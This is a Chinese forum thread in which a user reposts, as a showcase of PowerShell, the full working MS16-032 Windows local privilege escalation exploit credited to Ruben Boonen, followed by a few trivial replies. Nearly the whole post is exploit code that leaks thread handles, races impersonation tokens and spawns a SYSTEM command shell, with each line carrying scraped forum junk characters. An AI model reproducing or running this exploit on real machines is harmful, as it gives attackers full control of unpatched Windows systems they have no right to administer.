如果你执意追寻着我的幻影,总有一天会被真正的我打败。 收藏本站
登陆 / 注册 搜索

阅读: 8.4K   回复: 4

[# 系统基础] 一个基于Powershell的提权代码

soarcloud 「龙战于野」 2016-8-13 09:01 |显示全部楼层

这个用户很懒,还没有填写自我介绍呢~

本帖最后由 soarcloud 于 2016-8-13 09:44 编辑 4 u3 L7 T# Z+ w
# f! a- N& V7 H6 ^- Q
之前转了一堆关于Powershell基础的帖子,但是估计大家对Powershell到底能做什么还是没有个具体概念。那么下面就贴个用于用户提权的Powershell代码,看了之后就应该明白Powershell能干什么了#j334:不要问我提权是什么,如果这个都不清楚,那么就再好好学学吧#j346:/ U6 e7 Y% E5 l2 U
, ~6 |/ [+ c. v7 f4 u1 ~# N) {, f

6 z3 Z& v: i# R& }8 lfunction Invoke-MS16-032 {
: C* U# R5 p" u6 y; J: V1 M<#, Y3 |0 N) {1 t. `  y6 ^7 O
.SYNOPSIS
, ?/ a; a7 P0 ]  E6 L
$ m6 B& B5 e6 f1 K0 j% G5 i    PowerShell implementation of MS16-032. The exploit targets all vulnerable
4 ?; R7 J( ^1 R+ K* M9 l9 Z. Z    operating systems that support PowerShell v2+. Credit for the discovery of
: ?8 s$ @5 x/ m  P7 p' M) N    the bug and the logic to exploit it go to James Forshaw (@tiraniddo).
$ x: _4 P# B! ^. ~+ ^% K0 K
4 v: X. O3 r: Z+ _6 Q    Targets:
1 P  Q7 o, Z+ V7 V; c
# f0 Q4 `9 ]: R. I- U    * Win7-Win10 & 2k8-2k12 <== 32/64 bit!
# x* q' N& f0 q% N7 O, x8 F9 H    * Tested on x32 Win7, x64 Win8, x64 2k12R2
% x, i) I" {+ F8 r4 U3 ^) R2 b6 z6 b. r# y2 H: u, U
    Notes:
: C& s/ e7 J& k! }0 A7 X- f# X! D( w
4 {  T; b/ N' ~+ y6 w    * In order for the race condition to succeed the machine must have 2+ CPU4 o' y' X( _0 \5 j) u" b
      cores. If testing in a VM just make sure to add a core if needed mkay.: B9 Q! f( a( |& j
    * The exploit is pretty reliable, however ~1/6 times it will say it succeeded7 H' W- M" [  K
      but not spawn a shell. Not sure what the issue is but just re-run and profit!9 o# j9 T+ R; P. R( v- S
    * Want to know more about MS16-032 ==>- z' D9 j, |/ _# I
      https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html: W7 E# I( o+ B) W
.DESCRIPTION
' q& c* ~: Y$ N2 k        Author: Ruben Boonen (@FuzzySec)1 c! D  z( `( Z( O2 Z
        Blog: http://www.fuzzysecurity.com/
# B) [/ p2 }' p3 I' @        License: BSD 3-Clause
8 ]* O; z* f+ R9 v        Required Dependencies: PowerShell v2+
6 r) @' H& K* g$ @7 B1 I, \- m* S        Optional Dependencies: None5 V2 Q. S, A/ L2 k$ w0 J2 S: [
        E-DB Note: Source ~ https://twitter.com/FuzzySec/status/723254004042612736, ^+ Q! J) x1 V1 B* j
* D& O# W, r' A+ \! B+ n  e" g
.EXAMPLE8 x5 A* G8 w9 X, Y( n
        C:\PS> Invoke-MS16-0320 B4 l4 F1 s& V* q7 e# a# B. m: W
#>
% }8 }9 Z4 D# W' E5 X- ^# r        Add-Type -TypeDefinition @"
1 g& G% t4 ~. a4 n+ N4 J' M6 K        using System;+ z5 z( d$ y6 L
        using System.Diagnostics;2 x/ e' ]" b5 ?
        using System.Runtime.InteropServices;
8 F$ D: z& [+ {1 r. f0 V1 ^        using System.Security.Principal;# h" K* w  O3 ]. t1 O
        
/ e+ a) K8 P/ }9 y# D4 U9 |+ `        [StructLayout(LayoutKind.Sequential)]
/ r9 t9 v5 o$ V: I5 W# m$ s& {        public struct PROCESS_INFORMATION2 `) P( W1 C. P0 ]" O  |
        {
" Q' l6 M2 Q7 ?- p/ k9 Q! A. D3 J                public IntPtr hProcess;
8 t3 z5 r. b, E( v" s0 s                public IntPtr hThread;
# E/ s" I; X( v/ P+ O- }                public int dwProcessId;# S( e1 ?: r. O
                public int dwThreadId;1 g- f- f3 ?5 o
        }, z; d9 |( W3 _9 b
        8 ?/ K+ R" W4 t* \0 s" d  O* {
        [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]# F8 N* Z9 A9 B& o# r
        public struct STARTUPINFO! y5 C4 v$ \8 K
        {- c- n; G" v+ ^( S8 p0 f
                public Int32 cb;8 [' F$ V" }( ~$ g4 }
                public string lpReserved;
& s+ I4 d1 @+ _% B2 C                public string lpDesktop;
! Q" J) q: }; ^; G$ F' k9 D; Y# e                public string lpTitle;
( P9 i* G1 I  k3 H$ k                public Int32 dwX;
( ~; p+ }' F1 L8 ]3 A( H8 |3 d                public Int32 dwY;
- p0 A) y9 m; a3 f" X                public Int32 dwXSize;
* }( `4 F2 \, _" O2 v                public Int32 dwYSize;" n5 r. f4 C+ y% v/ I5 ~) A( i
                public Int32 dwXCountChars;
" E4 H8 R& k/ \                public Int32 dwYCountChars;
* l% e# I6 n5 n( D2 h+ D                public Int32 dwFillAttribute;
: v7 i2 F( n0 t6 s2 E                public Int32 dwFlags;2 h/ {( ?2 L6 N  |; j+ O
                public Int16 wShowWindow;6 u! i( r; K" i* q% J
                public Int16 cbReserved2;
) h" y5 X2 O- p$ k! Q, k                public IntPtr lpReserved2;
1 U6 |& C/ d" p" X( N* f                public IntPtr hStdInput;
3 m# \; X/ C/ z+ H* Q                public IntPtr hStdOutput;) V$ G: o; B9 J7 P
                public IntPtr hStdError;
6 m, _. g8 a4 m$ K        }
' L) t3 G" a7 C0 u% N2 y+ _6 a* L/ S        
: b9 T( Z8 b. X        [StructLayout(LayoutKind.Sequential)]! D+ q$ l1 k  i6 `* k, y8 h; @8 u
        public struct SQOS8 u8 m  @0 }0 i5 b5 V; o' o( }
        {% O) B* ?+ n5 ^' Z* T( L
                public int Length;
! T( q: Z9 P' F                public int ImpersonationLevel;3 c& ], ^9 V! Q, n4 r- q' `7 _
                public int ContextTrackingMode;" S9 s0 `9 _+ W1 g
                public bool EffectiveOnly;
+ D3 C" j3 c' m/ `        }
3 g# ~7 J9 D2 b: Y) s4 G' T        
3 a- n, s0 F4 b2 J: I* i        public static class Advapi325 P6 b- f% V' w
        {
5 N, d* U9 ?7 n# i% P! U                [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)], d8 ]. @$ P% m' _$ ^
                public static extern bool CreateProcessWithLogonW(& A% o- H: t1 W7 g5 W: A) x
                        String userName,
  n. J2 x+ x/ J4 m1 \. L                        String domain,! n$ M. C5 Q5 y( D# f$ x8 q
                        String password,2 A. O- @9 ^, V% v. l
                        int logonFlags,
1 z1 L5 }6 u" w! d9 U                        String applicationName,
& A2 b' {; i9 c$ `                        String commandLine,
+ Q3 j6 |% Z& A2 T& B6 T4 w                        int creationFlags,
$ f" i1 Y0 O6 o4 s) n2 M0 z                        int environment," ?9 J  R0 e4 s, a5 D
                        String currentDirectory,; H# I  @8 S' i5 o: `! ]2 r
                        ref  STARTUPINFO startupInfo,
. ~0 |1 n3 O4 {5 t% Y& k                        out PROCESS_INFORMATION processInformation);0 ]( I0 T: D) T8 g1 |0 }! l, K
                        
  d9 g) g* W# e6 O$ B                [DllImport("advapi32.dll", SetLastError=true)]7 N0 j! C: N/ `8 x
                public static extern bool SetThreadToken(7 m0 q" ^) c+ Y3 X
                        ref IntPtr Thread,
7 a5 D. l0 p4 W% Y  c                        IntPtr Token);* _$ _7 M' x( r6 e  `+ t
                        
/ T- G5 N8 X* Z" R1 k1 f                [DllImport("advapi32.dll", SetLastError=true)]/ P' R( j' l( b% U' J6 t. C
                public static extern bool OpenThreadToken(7 Y" O5 X8 G' ^; x% @6 c
                        IntPtr ThreadHandle,8 x& i% B) B' K4 C" e7 q" L* t
                        int DesiredAccess,
8 D" U2 p9 v4 _                        bool OpenAsSelf,* V* C0 s$ D9 r4 B
                        out IntPtr TokenHandle);0 S' i# n  r2 X2 a& M# m
                        8 A$ O) Y8 m( Z/ ]
                [DllImport("advapi32.dll", SetLastError=true)]8 Q7 v4 I" C# q3 f
                public static extern bool OpenProcessToken(
/ i4 U$ a5 M* i9 D                        IntPtr ProcessHandle, $ W; p0 {1 H& i& A) @# y
                        int DesiredAccess,( k7 M6 L6 {, M* n/ G8 v
                        ref IntPtr TokenHandle);$ @1 U: J! [; f3 l* _+ o: }
                        0 B" E. }! j7 S4 Y) r- h
                [DllImport("advapi32.dll", SetLastError=true)]" g% D# l4 r! Y1 M' d: i
                public extern static bool DuplicateToken(5 K2 ]( F. p1 [3 m6 B, s% q8 c% M
                        IntPtr ExistingTokenHandle,( p& [8 c$ e, {9 u; P
                        int SECURITY_IMPERSONATION_LEVEL,; p+ Q' P- ?1 U+ V& Q1 X2 @) X
                        ref IntPtr DuplicateTokenHandle);# n& W) g. k& ~% k. ~
        }  Q  Y/ f0 h* o2 Y
          a' e- {/ p+ \( |3 Z# c
        public static class Kernel32
5 p* ^! V* {8 Z4 ?* O/ Z/ \1 U        {5 n+ m3 Y5 @7 o$ ]# b
                [DllImport("kernel32.dll")]' E0 Z9 m; Z  n! K- Y2 s) M
                public static extern uint GetLastError();
  z$ x0 x0 c% H  \1 o0 b- u+ P; r        
" i' W6 Y: S/ p, S! \( s5 U                [DllImport("kernel32.dll", SetLastError=true)]+ ?  N: P; p) w' ?
                public static extern IntPtr GetCurrentProcess();
% i3 e% m% \: p8 a' \6 a        $ e3 D" N1 B0 p, q% S0 p9 f
                [DllImport("kernel32.dll", SetLastError=true)]
6 r7 C$ I  h+ R                public static extern IntPtr GetCurrentThread();) h5 I( L2 h1 m
               
6 S2 m* I0 P7 _# t- |                [DllImport("kernel32.dll", SetLastError=true)]3 O0 D) _$ \# ?8 o3 d1 C7 i, D' ~
                public static extern int GetThreadId(IntPtr hThread);. T' u4 B& i# {7 a# w3 _5 d
                6 R, G! O* ~" c: l
                [DllImport("kernel32.dll", SetLastError = true)]" E4 G, Q- I: h  a# f
                public static extern int GetProcessIdOfThread(IntPtr handle);
* C9 o* P8 Y( U                : C7 s; Y% j/ s0 h9 a/ f- C. `
                [DllImport("kernel32.dll",SetLastError=true)]
- U% X; ?: J! u. ?; U1 _                public static extern int SuspendThread(IntPtr hThread);  K" w! o% \" l8 j
               
5 Z1 H8 |8 H4 f5 p8 n: u+ K& @                [DllImport("kernel32.dll",SetLastError=true)]
3 y% T" O& Z2 e( ]7 ?                public static extern int ResumeThread(IntPtr hThread);
3 m  y/ p2 N& Z               
8 |( V% {. ~- N' {4 A8 O, S: d                [DllImport("kernel32.dll", SetLastError=true)]
7 G) Y% h6 f) |- t: w1 |                public static extern bool TerminateProcess(
8 Y. `4 j! D- _8 l+ b6 R4 T) T* @                        IntPtr hProcess,
3 D  k) a9 }( G: h( K                        uint uExitCode);
+ X: S+ ?, `% D  k1 X2 H        
0 C, S8 @2 M7 }) b0 T, e                [DllImport("kernel32.dll", SetLastError=true)]
5 L  ?3 i+ v& ]$ g                public static extern bool CloseHandle(IntPtr hObject);$ w9 w: M- S% t( B* ~  {- R; z& P
                & A& k7 \9 Y4 q: Y6 M/ ]" B
                [DllImport("kernel32.dll", SetLastError=true)]; A0 r7 F% ~- ?5 Z6 {
                public static extern bool DuplicateHandle($ J& u8 O& A+ [; V# X9 L
                        IntPtr hSourceProcessHandle,1 {  Q  A2 M6 q, S0 u
                        IntPtr hSourceHandle,
% L" H" A8 c$ d. u                        IntPtr hTargetProcessHandle,1 l6 \+ P: S! t9 u
                        ref IntPtr lpTargetHandle,
: H+ ~# r0 a7 I7 F                        int dwDesiredAccess,
7 i9 |5 n5 \$ q" d) Q5 P6 x% c                        bool bInheritHandle,0 h2 c- K3 [  [. i# X0 y
                        int dwOptions);3 x9 X3 j# M5 T0 K* z  T0 A. m9 u! |
        }  G7 o  H! }5 j4 {; f
        " A- O, n/ N# e) Q8 M
        public static class Ntdll' c! u5 z7 M+ P2 x0 D- w
        {
, y: v& O/ c% j+ u" P! w8 i' X                [DllImport("ntdll.dll", SetLastError=true)]
1 |# ?" ^4 ~3 q4 d" X                public static extern int NtImpersonateThread(
4 }) I/ ~) ^* E4 ]$ U  h  R0 u                        IntPtr ThreadHandle,; {* F  m0 s* Z9 M2 Y: Z2 R. `
                        IntPtr ThreadToImpersonate,9 m8 O8 t* q( ^/ q. }0 K8 w' F
                        ref SQOS SecurityQualityOfService);
6 {4 ^1 |( x. \. s1 Y  f/ x        }
. ^% J/ D7 t2 }, V6 |/ ~" o- |"@& p1 {* D1 M7 y9 u$ I3 F) }% K
        6 D) o. o' d5 N6 @' I2 t
        function Get-ThreadHandle {6 U! D2 E8 J& g" V/ B) i0 A
                # StartupInfo Struct
5 A/ f( c% _% [                $StartupInfo = New-Object STARTUPINFO
* V/ n) w7 f0 O2 b                $StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES
9 j0 z% m0 F2 O  P& R) I                $StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
& j5 Y8 R8 S/ l( A                $StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()
% _( K, k! D; a; W8 z                $StartupInfo.hStdError = [Kernel32]::GetCurrentThread()
3 B! [# |$ G  `0 U                $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size) i* A6 j6 ]! g. E" O
               
$ ]) y* ]9 j7 a* u* n+ X; m% v# Z                # ProcessInfo Struct
4 O6 r8 b% K9 M: P' ^                $ProcessInfo = New-Object PROCESS_INFORMATION
+ R' Z3 J7 z) b2 i2 ]7 Y7 |3 O                9 w" o1 @: l6 y& }" h
                # CreateProcessWithLogonW --> lpCurrentDirectory" c0 H6 k3 R: V, o* R* i7 k. M
                $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName% _( x5 E' @' Y1 n7 D3 q2 s8 S
                9 _9 B( y+ ?8 m9 q
                # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
: M# V/ n: P+ g% Z1 G; G$ h& K                $CallResult = [Advapi32]::CreateProcessWithLogonW(
; U; B6 r- J- q6 p9 }                        "user", "domain", "pass",
9 v3 ?# s1 O8 V! {) f                        0x00000002, "C:\Windows\System32\cmd.exe", "",' s* O  g5 s6 R4 \3 _
                        0x00000004, $null, $GetCurrentPath,) a. H$ e9 j  y, t5 h& S
                        [ref]$StartupInfo, [ref]$ProcessInfo)
! O7 x9 s; V- s0 K5 d( ^8 z8 j                  H) _% v+ R; ?% ?. [
                # Duplicate handle into current process -> DUPLICATE_SAME_ACCESS" a: }% L' K7 v" m) d3 ]
                $lpTargetHandle = [IntPtr]::Zero
0 K' k& D  D8 P0 N                $CallResult = [Kernel32]::DuplicateHandle($ C, @& J. l7 a! a
                        $ProcessInfo.hProcess, 0x4,
# G/ b' O7 f3 f& a1 n                        [Kernel32]::GetCurrentProcess(),
' a3 ?2 [* I# A* n0 X, r                        [ref]$lpTargetHandle, 0, $false,
" `8 J1 I- g1 P/ c: f+ v2 x                        0x00000002)! j& E( {2 b& e$ y1 a% M
               
1 b7 X$ _: u2 N) Z- P& Y                # Clean up suspended process
9 j/ l/ m% @* Y' N                $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)3 v. A8 A" R) I5 Q/ u$ d2 y
                $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
4 C1 d( q" v6 [6 w, Y                $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
# V- [  s' \* z7 F# G* L% h3 Z+ M               
9 C" k' l1 z8 ?: F1 i# q                $lpTargetHandle2 T4 g% W% T" ^% r" z
        }" |' B6 @; N( B. u
        $ K' _& O$ C$ B4 J
        function Get-SystemToken {/ b5 Z4 b* q& g4 q
                echo "`n[?] Trying thread handle: $Thread". N6 ^/ ^9 V! L
                echo "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread))).ProcessName)", C1 S2 i8 m! d* c" i% {
        . Q# C9 {6 }1 l" h
                $CallResult = [Kernel32]::SuspendThread($Thread)
3 D/ u2 ^6 x6 F- g1 r                if ($CallResult -ne 0) {5 \7 M5 W) U3 s/ X# t. d" T4 N/ c: j
                        echo "[!] $Thread is a bad thread, moving on.."
- N$ R9 Q6 G9 q3 |                        Return7 z6 e; z% R1 U5 s9 @& n9 S
                } echo "[+] Thread suspended"
1 ?# [, J! J7 d+ R8 y                  j2 s& {8 h8 H) F6 A$ F
                echo "[>] Wiping current impersonation token"
2 n/ U' W0 D( V7 p# D                $CallResult = [Advapi32]::SetThreadToken([ref]$Thread, [IntPtr]::Zero)5 ~' ]; m! y' D! }4 o- r, u& ]
                if (!$CallResult) {
, T* Z1 h1 V4 `                        echo "[!] SetThreadToken failed, moving on.."
- }' p9 c6 E2 o/ [0 ~3 X                        $CallResult = [Kernel32]::ResumeThread($Thread)4 h: x. E8 [6 x+ r# A- |/ J
                        echo "[+] Thread resumed!"
6 D3 e. p; a; k3 k7 b                        Return- e/ @, [/ @, s9 J# ?2 m5 H
                }
% V. O, T; w! D  s                ( O" f- H5 T  n. X- u( Y( b
                echo "[>] Building SYSTEM impersonation token"
: ?' k) G1 ^2 A" J6 Q8 w                # SecurityQualityOfService struct
7 M; ~" o9 `) }0 s1 t                $SQOS = New-Object SQOS% W  k9 K* _0 `* r/ D! i9 S7 ^
                $SQOS.ImpersonationLevel = 2 #SecurityImpersonation1 z1 E4 {4 O1 S. O
                $SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)$ W* d( l( U' W1 ]+ B) x
                # Undocumented API's, I like your style Microsoft ;)
- B( E3 }% T( q1 G* |  L- N                $CallResult = [Ntdll]::NtImpersonateThread($Thread, $Thread, [ref]$sqos)1 X- c0 ?- |; P3 b$ z
                if ($CallResult -ne 0) {
! R$ b# m& F1 ^$ v- c                        echo "[!] NtImpersonateThread failed, moving on.."
' I2 t: m6 Z( I% `5 q# s% q                        $CallResult = [Kernel32]::ResumeThread($Thread)
' _# w( S3 l, {6 S                        echo "[+] Thread resumed!"* r% @) y- @/ C1 s, x( S& P+ U  x: o
                        Return: L0 P1 l( O* T" J) D, @! s
                }  _8 d/ |% C' n- _/ @
        
, J5 {1 G/ F: [3 U                $script:SysTokenHandle = [IntPtr]::Zero# ?: o/ H; A5 U
                # 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE# b9 e2 X* K! w- s) M% d, j
                $CallResult = [Advapi32]::OpenThreadToken($Thread, 0x0006, $false, [ref]$SysTokenHandle)  u3 ~: v" U: R- E$ X
                if (!$CallResult) {
8 i0 t5 ~5 j" H3 I2 J                        echo "[!] OpenThreadToken failed, moving on.."
& a3 ~0 U9 y, N. f/ P/ q. A& R) l                        $CallResult = [Kernel32]::ResumeThread($Thread)
2 X: W1 ], X3 B                        echo "[+] Thread resumed!"7 ~' z' [0 Y# I
                        Return
' r* s- a+ L, x                }
* O% x4 c: T7 Q7 K; B                8 H( {8 l5 B5 j+ G& \/ s( C6 m
                echo "[?] Success, open SYSTEM token handle: $SysTokenHandle"3 \7 p, ?3 B/ b7 Q7 K8 c7 r, W/ J1 s
                echo "[+] Resuming thread.."
. |) u- G$ a( @" ^9 l                $CallResult = [Kernel32]::ResumeThread($Thread)
# M; W# D- I. `3 f% h# E        }# T3 ]3 ?- W  U* _/ o' C+ W
        
, r9 ?% ]5 D/ Z        # main() <--- ;)
) A8 v$ M7 o; ^- ]3 {        $ms16032 = @"; ~5 p/ ?9 J8 N7 ^
         __ __ ___ ___   ___     ___ ___ ___ % B6 g3 s6 C8 Q
        |  V  |  _|_  | |  _|___|   |_  |_  |6 I8 r$ z/ ?, ~, L+ b
        |     |_  |_| |_| . |___| | |_  |  _|
! B* ~- M4 Z, M        |_|_|_|___|_____|___|   |___|___|___|1 f8 V2 L" f7 L7 o( B
                                            
6 A- f; s! h+ e3 e: R6 I+ U* K; |4 d                       [by b33f -> @FuzzySec]9 I+ M' c: w' S
"@
% S, Z: s! W0 f) U/ W) w0 ?        
8 I% }, C9 R! P) m9 j        $ms16032
' ~( A3 o% ]0 W+ c        ; {# t  g& C( u5 Z1 h6 a
        # Check logical processor count, race condition requires 2+
" }5 G+ |) n  H        echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"
+ f6 A4 F; V+ P. c8 d( ]+ }        if ($([System.Environment]::ProcessorCount) -lt 2) {! G0 c) b3 t" \! F, ~$ D2 M. ]
                echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"0 k5 G( X8 C. D& y% ~# y$ m
                Return
) @; b% a5 o) |9 O9 e+ K& `        }
/ C8 q: p  e- Z, k* T2 o        
/ U) j7 K- }& Z  n" e" b        # Create array for Threads & TID's
! e& Y: p2 G( G) ~2 t2 A5 _        $ThreadArray = @()
1 Z: E7 I) H) `; d- x% a        $TidArray = @()0 h. ^) t" V4 t# F7 R* B
        
3 m: G* f# S4 G. I" f# f; `: ?        echo "[>] Duplicating CreateProcessWithLogonW handles.."
: ?" W" `$ [( D: g  ^  j        # Loop Get-ThreadHandle and collect thread handles with a valid TID( A- T0 F  `) n+ e; ?3 N( c4 r
        for ($i=0; $i -lt 500; $i++) {
1 F& l( A) {5 U                $hThread = Get-ThreadHandle3 n5 e' e0 \+ k' B, j8 `6 Q
                $hThreadID = [Kernel32]::GetThreadId($hThread)3 x2 Q$ K4 ]) S1 c, G+ ^* M
                # Bit hacky/lazy, filters on uniq/valid TID's to create $ThreadArray
2 K4 U' `) y: G+ l0 v( P: \* {$ l                if ($TidArray -notcontains $hThreadID) {
# o, ]( b8 M7 w; u' L. k+ q                        $TidArray += $hThreadID
2 g/ F) m7 \5 f5 U1 k- M                        if ($hThread -ne 0) {
- F6 r9 _4 W# e7 e$ {! B3 F                                $ThreadArray += $hThread # This is what we need!& ~+ {, j, O" g5 H0 t
                        }
8 f- g1 t) U! Q6 |8 _                }
4 d3 n" l; y" s7 K, H$ I) T6 O        }
9 P, T6 k+ s- O4 e" `$ y* b! u- d1 Z8 X        
! w2 |! ]" G: t        if ($($ThreadArray.length) -eq 0) {
2 q% {4 D) r( J; ~: {                echo "[!] No valid thread handles were captured, exiting!": ]+ F7 V  a3 U* Z
                Return% v1 Z' ?- D. x/ ^; |) `0 s9 s
        } else {
* d: L# d/ p: U: d                echo "[?] Done, got $($ThreadArray.length) thread handle(s)!"
5 {: f, ?* O7 c9 V1 N; ^1 p                echo "`n[?] Thread handle list:", @  i- R. ]+ q2 A; [+ Q  S
                $ThreadArray
/ L, E& U  V5 b' q+ Z3 |        }) |4 G& s/ q4 A) |8 l! u
        : w# |8 F1 h$ c# ]6 C( x) [; M
        echo "`n Sniffing out privileged impersonation token.."1 v) ^4 c9 ^5 I' B2 ~2 ^
        foreach ($Thread in $ThreadArray){/ B1 u2 N6 p/ x! K( x
        & N5 h* @5 S4 f# m' t$ j9 g$ @0 z
                # Get handle to SYSTEM access token4 Q3 H2 d4 ~$ B, x5 S
                Get-SystemToken; P5 t# N0 j! c0 Q. x
               
- Z/ \8 J# _/ e. Z8 h! }                echo "`n Sniffing out SYSTEM shell.."
( j; N+ `- P& V1 a4 Q                echo "`n[>] Duplicating SYSTEM token"
- `6 |$ t% p. x: ~9 {                $hDuplicateTokenHandle = [IntPtr]::Zero
# O7 G! S3 Z: d. G: c# R/ o                $CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)
8 g' ^8 E+ u. C, h8 y; P- x9 A, R               
" h  F% J7 E+ c; Z4 F9 D' `                # Simple PS runspace definition
' L$ ^- N0 c" ~$ F9 N                echo "[>] Starting token race"
9 L" q& Y1 o, `4 \8 z/ b                $Runspace = [runspacefactory]::CreateRunspace()9 L, U6 g( j% E
                $StartTokenRace = [powershell]::Create()( Q9 `/ O$ G+ v- M0 d  J$ `  R8 n
                $StartTokenRace.runspace = $Runspace
1 x/ f8 {# c# p5 D8 D$ F/ R8 @9 f3 q                $Runspace.Open()$ h9 _. t- G# h: b  k
                [void]$StartTokenRace.AddScript({5 ], O7 J! `5 `8 q
                        Param ($Thread, $hDuplicateTokenHandle)
9 q( A. Z. R& B. d6 `9 \$ [                        while ($true) {
( c$ p3 Y2 y/ m3 ]9 n% @+ c6 i+ `                                $CallResult = [Advapi32]::SetThreadToken([ref]$Thread, $hDuplicateTokenHandle)
3 y* z4 h; E6 C# C                        }" n/ H: c6 o3 A, i" C
                }).AddArgument($Thread).AddArgument($hDuplicateTokenHandle)
1 a. A' v3 e( g                $AscObj = $StartTokenRace.BeginInvoke()( Y/ `8 a- p& ~! n, t* |  x+ D
                ( u' ^8 w4 i2 R1 v1 F6 x# o$ N/ c
                echo "[>] Starting process race"
7 Q* F$ |7 h7 C4 W                # Adding a timeout (10 seconds) here to safeguard from edge-cases
( M: M) p3 ^- _6 J9 h2 q" d( f9 P                $SafeGuard = [diagnostics.stopwatch]::StartNew()
5 @: Y6 O0 S1 T, x5 a+ l9 U1 Z2 r( Z                while ($SafeGuard.ElapsedMilliseconds -lt 10000) {
$ x: D1 t; ]. z9 o                # StartupInfo Struct- _! a3 e2 K0 {( K
                $StartupInfo = New-Object STARTUPINFO/ H% O1 R+ |: M8 f
                $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size9 d0 n7 R; c7 h* H6 v
               
, `4 Z6 i& k% M, D& E                # ProcessInfo Struct
' L' \; {0 c- d3 s                $ProcessInfo = New-Object PROCESS_INFORMATION0 I* K9 X5 {+ r2 N, w$ G% u
               
, T( x$ ]4 {0 x; v: u+ a                # CreateProcessWithLogonW --> lpCurrentDirectory
" m" l6 T) M, G7 i                $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName" g/ Z2 n. C: H+ H+ l: V6 e7 S8 N
                ; `( L. I" ]0 e
                # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED3 I) }# n' G* s% z  U! U$ x
                $CallResult = [Advapi32]::CreateProcessWithLogonW(: |, D7 i  q/ C. ^/ U0 R3 N( [. }, F& [# b
                        "user", "domain", "pass",0 z, @8 Y3 h/ w  _5 w: y8 l
                        0x00000002, "C:\Windows\System32\cmd.exe", "",
4 C9 q5 `' l7 j# y5 @& V                        0x00000004, $null, $GetCurrentPath,
' W1 O8 i  A% f3 _                        [ref]$StartupInfo, [ref]$ProcessInfo)2 H/ b4 D3 u% f
                        / R- ]9 D) F2 e6 j4 x3 J
                $hTokenHandle = [IntPtr]::Zero
3 N" z9 S9 V, K                $CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)4 L! [7 @; K, o; e( u8 O
                # If we can't open the process token it's a SYSTEM shell!+ B5 R% `' D3 O+ |* V+ I
                if (!$CallResult) {
5 b$ Y, @: V- O, Y                        echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n". a! a& i! V* c7 @
                        $CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
( Z. h& e, s: L4 D                        $StartTokenRace.Stop()- `8 D8 H: ~7 I3 `7 w0 p5 I
                        $SafeGuard.Stop()* A0 J: s9 S. R5 V
                        Return
* b3 b8 A  L( B* W0 L3 I  Q/ V                }
- [) G+ H8 Y6 H" Q( u9 M; }                        
1 {. l2 `" G. P) a1 P                # Clean up suspended process
% [( A/ C" ?" [                $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)( b# A  @" u5 M0 V
                $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)7 M/ _! N( p- S/ \
                $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)9 h+ h$ h3 F* D
                }( _  P& @: M) H& n. @
                + a7 A0 G5 Q0 _
                # Kill runspace & stopwatch if edge-case
0 K  Y2 |( @; I: F! P+ v1 m7 c! Z                $StartTokenRace.Stop()
& y4 U% |' Y8 ]+ R9 W3 ~+ u                $SafeGuard.Stop()% T' f  L4 I" `
        }5 |, c9 P% C2 i$ c3 J7 s' F. T" }: f
}
& N$ l% L( W' B4 \. L看完代码后,长期从事windows编程的同学应该已经看出来powershell的强大功能了吧。呵呵。8 L8 ]4 v# f! y9 s1 u- o: O

& f& c+ O: D4 W. ?: U5 T0 K, q
+ q) P' p: i9 R* S3 N! W
: K" }+ Z7 v8 `& W3 r) O
+ [7 H! v8 X4 h" V/ G9 O& n
7 I- J3 r- H8 e. Y
上一篇
下一篇


小执念 古黑浩劫论坛大牛 2016-8-13 22:37 |显示全部楼层

可遇不可求的事:故乡的云,上古的玉,随手的诗,十九岁的你。

管理员
然而到现在我都不想去了解这个powershell
巴黎环抱的花海 「龙战于野」 2017-9-26 15:13 来自手机 |显示全部楼层

这个用户很懒,还没有填写自我介绍呢~

楼下的接上
梦纸 「出类拔萃」 2018-5-9 11:52 来自手机 |显示全部楼层

这个用户很懒,还没有填写自我介绍呢~

火钳刘明#j319:
一起一伏 「龙战于野」 2018-5-12 18:42 |显示全部楼层

这个用户很懒,还没有填写自我介绍呢~

畅游在词汇的海洋里 也难以找到恰如其分的感激之语 来表达感激之情,你是论坛的一盏明灯 期市里的一棵夜明珠 永放异彩你的帖子一定会让许多的有识之士获益匪浅 .让我们一起祝愿楼主文成武德仁义英明泽被苍生 一统江湖 天长地久 日月同辉!
您需要登录后才可以回帖 登录 | 免费注册  

本版积分规则

关于本站|大事记|小黑屋|古黑论 网站统计

GMT+8, 2021-6-23 23:14 , Processed in 0.083373 second(s), 20 queries , Redis On.

© 2015-2021 GuHei.Net

Powered by Discuz! X3.4

快速回复 返回列表